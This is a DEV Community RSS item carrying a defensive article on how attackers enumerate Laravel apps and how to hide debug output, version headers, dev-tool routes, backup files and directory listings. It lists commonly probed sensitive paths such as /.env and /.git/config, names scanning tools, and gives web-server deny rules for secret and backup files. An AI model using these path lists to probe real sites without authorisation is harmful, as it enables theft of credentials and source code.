<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Nchiminyi — Founder, Kriosa</title>
    <description>The latest articles on DEV Community by Nchiminyi — Founder, Kriosa (@kriosa).</description>
    <link>https://dev.to/kriosa</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4010602%2F41284738-5a4f-4116-8b26-36ca4722c94f.png</url>
      <title>DEV Community: Nchiminyi — Founder, Kriosa</title>
      <link>https://dev.to/kriosa</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kriosa"/>
    <language>en</language>
    <item>
      <title>How Attackers Enumerate Your Laravel App — And What to Hide Before They Map Your Entire Backend</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 21 Jul 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-161b</link>
      <guid>https://dev.to/kriosa/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-161b</guid>
      <description>&lt;p&gt;Originally published on medium&lt;br&gt;
Before an attacker exploits your app they study it. Here is what they are looking for and how to stop them finding it.&lt;/p&gt;

&lt;p&gt;This is the sixth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Reconnaissance is no different. And it is the step most developers never think about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Reconnaissance Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before an attacker exploits your Laravel application they study it.&lt;/p&gt;

&lt;p&gt;They are not guessing blindly. They are systematically collecting information that tells them what framework and version you are running, what routes exist, what errors your app produces, what files are publicly accessible, and where your admin panel lives.&lt;/p&gt;

&lt;p&gt;This phase is called reconnaissance. And most Laravel apps make it embarrassingly easy.&lt;/p&gt;

&lt;p&gt;The attacker does not need to find a vulnerability to do damage at this stage. They just need your app to answer questions it should never be answering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Attackers Are Looking For&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Debug Mode Left On in Production&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the single most dangerous information disclosure mistake in Laravel.&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;APP_DEBUG=true&lt;/code&gt; in your production environment, Laravel shows a full stack trace on every error. That stack trace includes your full file system paths, your environment variables, your database connection details, your application code, and every variable in scope at the point of failure.&lt;/p&gt;

&lt;p&gt;An attacker who triggers any error on your application a 404, a validation failure, a missing parameter  gets a complete map of your server.&lt;/p&gt;

&lt;p&gt;Check your production .env file right now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;APP_DEBUG&lt;/span&gt;=&lt;span class="n"&gt;false&lt;/span&gt;
&lt;span class="n"&gt;APP_ENV&lt;/span&gt;=&lt;span class="n"&gt;production&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These two lines are not optional. They are the minimum baseline for any Laravel app handling real user data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Exposed .env Files&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your .env file contains your database credentials, API keys, mail server passwords, payment gateway secrets, and application encryption key. It lives in your project root.&lt;/p&gt;

&lt;p&gt;If your web server is misconfigured, this file is publicly accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker who reads your &lt;code&gt;.env&lt;/code&gt; file may gain access to database credentials, API keys, application secrets, and other sensitive configuration depending on what is stored there.&lt;/p&gt;

&lt;p&gt;This is not theoretical. Automated scanners probe every Laravel site they find for exposed .env files within minutes of the site going live. It is one of the first checks they run automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Exposed .git Directory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you deployed by cloning a git repository and did not remove the .git directory from your web root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/.git/config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker may be able to reconstruct your source code from exposed Git objects. Your complete application logic. Your commit history. Every credential that was ever accidentally committed.&lt;/p&gt;

&lt;p&gt;Tools like GitDumper automate this reconstruction entirely. What took a developer months to build can be downloaded in minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Framework and Version Fingerprinting&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Default Laravel error pages and responses can reveal framework information if they are not customized. HTTP response headers sometimes include framework and PHP version information. The structure of session cookies, route patterns, and form token names all point to Laravel specifically.&lt;/p&gt;

&lt;p&gt;Default server responses often include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;X-Powered-By: PHP/8.1.0
Server: Apache/2.4.41
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once an attacker knows your framework and version they know exactly which known vulnerabilities to check, which default misconfigurations are most common, and which attack patterns are most likely to succeed.&lt;/p&gt;

&lt;p&gt;Remove these headers. They are free reconnaissance for anyone watching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Laravel Packages and Developer Tool Routes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel packages and developer tools can expose routes that reveal application internals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/telescope    — Laravel Telescope debugger
/horizon      — Laravel Horizon queue dashboard
/_debugbar    — Laravel Debugbar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any of these are accessible in production without authentication, an attacker has a window into your queue jobs, database queries, cache operations, mail logs, and exception details.&lt;/p&gt;

&lt;p&gt;These tools are invaluable for development. They are serious vulnerabilities in production if left unprotected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Verbose Error Messages&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even with debug mode disabled, careless error handling reveals too much:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This tells an attacker your table name exists&lt;/span&gt;
&lt;span class="c1"&gt;// and gives them information about your schema&lt;/span&gt;
&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error querying users table: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A developer who exposes database table names, column names, or file paths in error messages is doing reconnaissance for the attacker.&lt;/p&gt;

&lt;p&gt;The correct approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Log everything internally&lt;/span&gt;
    &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Database error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'file'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getFile&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="s1"&gt;'line'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getLine&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="c1"&gt;// Show nothing useful externally&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Something went wrong. Please try again.'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log the full error internally. Show nothing externally. The user does not need to know what went wrong technically. The attacker definitely should not know.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Predictable Admin Routes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Automated scanners probe for common admin panel locations on every site they find:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/admin
/admin/login
/dashboard
/administrator
/panel
/backend
/manage
/cp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your admin panel is at one of these locations with no rate limiting, no IP restriction, and no additional authentication layer, it is being probed constantly without you knowing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Directory Listing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your web server has directory listing enabled, an attacker can browse your file structure like a file manager:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/storage/
https://yoursite.com/public/uploads/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They see every file you have uploaded. Every log file. Every temporary file. Every backup your application has ever generated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9. Backup Files Left in Public Directories&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Developers sometimes create backup files that end up publicly accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/index.php.bak
https://yoursite.com/config.php.old
https://yoursite.com/database.sql
https://yoursite.com/backup.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Automated scanners check for hundreds of these patterns on every site they probe. A database backup file left in a public directory is a complete data breach waiting to be discovered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Attackers Automate This&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Reconnaissance is not done manually by a person sitting at a keyboard.&lt;/p&gt;

&lt;p&gt;Automated tools scan millions of sites continuously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nikto&lt;/strong&gt; scans for thousands of known vulnerabilities and misconfigurations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gobuster&lt;/strong&gt; brute forces directory and file names against wordlists of thousands of common paths&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WhatWeb&lt;/strong&gt; fingerprints web technologies from response headers and page content&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitDumper&lt;/strong&gt; reconstructs source code from exposed Git objects automatically&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools run against every IP address they can find. Your site is being scanned whether you know it or not. The question is not whether reconnaissance is happening it is whether your app is giving the scanners useful answers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to Hide — The Complete Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel configuration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# .env — production settings
&lt;/span&gt;&lt;span class="n"&gt;APP_ENV&lt;/span&gt;=&lt;span class="n"&gt;production&lt;/span&gt;
&lt;span class="n"&gt;APP_DEBUG&lt;/span&gt;=&lt;span class="n"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/app.php&lt;/span&gt;
&lt;span class="s1"&gt;'debug'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'APP_DEBUG'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Restrict developer tool access:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Configure Telescope authorization and ensure the dashboard is restricted to trusted users or IP addresses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Providers/TelescopeServiceProvider.php&lt;/span&gt;
&lt;span class="nc"&gt;Gate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'viewTelescope'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'127.0.0.1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;// your trusted IP addresses&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apply the same principle to Horizon and Debugbar  both should require authentication or IP restriction before any production deployment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Block sensitive files at the web server level:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/\.(env|git|htaccess)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;\.(bak|old|sql|zip|tar|gz)$&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="sr"&gt; "\.(env|git|bak|old|sql|zip)$"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Order&lt;/span&gt; allow,deny
    &lt;span class="nc"&gt;Deny&lt;/span&gt; &lt;span class="ss"&gt;from&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remove technology headers:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In php.ini:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;expose_php&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;server_tokens&lt;/span&gt; &lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;ServerTokens&lt;/span&gt; Prod
&lt;span class="nc"&gt;ServerSignature&lt;/span&gt; &lt;span class="ss"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Disable directory listing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;autoindex&lt;/span&gt; &lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;Options&lt;/span&gt; -Indexes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Custom error pages that reveal nothing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Exceptions/Handler.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Throwable&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;app&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'production'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isHttpException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="s1"&gt;'errors.'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getStatusCode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
                &lt;span class="p"&gt;[],&lt;/span&gt;
                &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getStatusCode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'errors.500'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rate limit sensitive routes:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// routes/web.php&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'throttle:5,1'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AuthController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5 attempts per minute. After that, Laravel applies throttling and returns a 429 response until the limit window resets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Deployment Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Run this after every deployment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;APP_DEBUG=false&lt;/code&gt; confirmed in production&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;APP_ENV=production&lt;/code&gt; confirmed&lt;/li&gt;
&lt;li&gt;.env file not accessible via browser&lt;/li&gt;
&lt;li&gt;.git directory not in web root or blocked at server level&lt;/li&gt;
&lt;li&gt;Telescope, Horizon, Debugbar behind authentication or IP restriction&lt;/li&gt;
&lt;li&gt;Directory listing disabled&lt;/li&gt;
&lt;li&gt;Technology headers removed&lt;/li&gt;
&lt;li&gt;No backup or temporary files in public directories&lt;/li&gt;
&lt;li&gt;Admin routes rate limited&lt;/li&gt;
&lt;li&gt;Custom error pages returning generic messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Where Kriosa Fits&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security configuration reduces your attack surface, but it does not stop attackers from trying. Every public application receives automated scanning sooner or later.&lt;/p&gt;

&lt;p&gt;Reconnaissance generates distinctive traffic patterns that differ from normal user behavior.&lt;/p&gt;

&lt;p&gt;Rapid sequential requests to non-existent paths. Requests for known sensitive file locations like .env, .git/config, and backup extensions. Requests with scanner user agent strings. Unusual probing patterns against admin route locations.&lt;/p&gt;

